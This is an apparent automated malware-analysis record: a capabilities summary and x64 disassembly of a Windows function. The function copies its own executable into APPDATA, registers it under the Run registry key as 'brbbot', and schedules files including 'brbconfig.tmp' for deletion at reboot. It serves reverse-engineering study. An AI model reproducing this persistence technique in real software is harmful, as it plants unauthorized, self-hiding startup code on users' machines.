Function at 0x7ff706812230
Capabilities:
Copy file
Delete file
Move file
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbx
push rdi
sub rsp, 0x278
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x290], rbp
mov edi, 0x8000ffff
mov byte [rsp + 0x150], 0
call fcn.7ff7068144b0
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.7ff7068144b0
xor ecx, ecx
mov qword [rsp + 0x30], 0
xor ebx, ebx
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x150]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7ff7068122db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x7ff7068124e3
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff7068124e3
lea rcx, [rsp + 0x150]
mov edx, 0x5c
mov qword [rsp + 0x2a0], r12
call fcn.7ff706813dd0
lea rdx, [rsp + 0x40]
lea rcx, str.APPDATA
mov r8d, 0x104
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x7ff7068124db
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x298], rsi
mov qword [rsp + 0x270], r13
call fcn.7ff706813690
xor esi, esi
test rax, rax
mov r13d, 1
mov rdi, r12
cmovne esi, r13d
or rcx, 0xffffffffffffffff
xor eax, eax
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x40]
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea rdi, [rdx + rcx + 3]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r13 + 7]
mov rcx, rax
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x7ff706812396
mov edi, 0x8007000e
jmp 0x7ff7068124cb
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x40]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.7ff706813720
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r12
mov rdx, r12
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.7ff706813940
lea rcx, [rsp + 0x150]
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x7ff70681240e
test esi, esi
jne 0x7ff70681240e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x7ff7068124cb
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff7068124cb
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov ebp, r13d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test eax, eax
je 0x7ff70681244f
jle 0x7ff7068124cb
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff7068124cb
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
lea rdx, str.brbbot
mov r9d, r13d
not rcx
xor r8d, r8d
and ecx, ecx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, eax
test eax, eax
je 0x7ff706812493
jle 0x7ff7068124cb
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff7068124cb
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
test esi, esi
jne 0x7ff7068124b6
lea r8d, [rsi + 4]
lea rcx, [rsp + 0x150]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
xor edx, edx
lea rcx, str.brbconfig.tmp
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
xor edi, edi
mov rsi, qword [rsp + 0x298]
mov r13, qword [rsp + 0x270]
mov r12, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x7ff7068124f3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jns 0x7ff706812504
test ebp, ebp
je 0x7ff706812504
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rbp, qword [rsp + 0x290]
test rbx, rbx
je 0x7ff706812525
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.7ff706813590
add rsp, 0x278
pop rdi
pop rbx
ret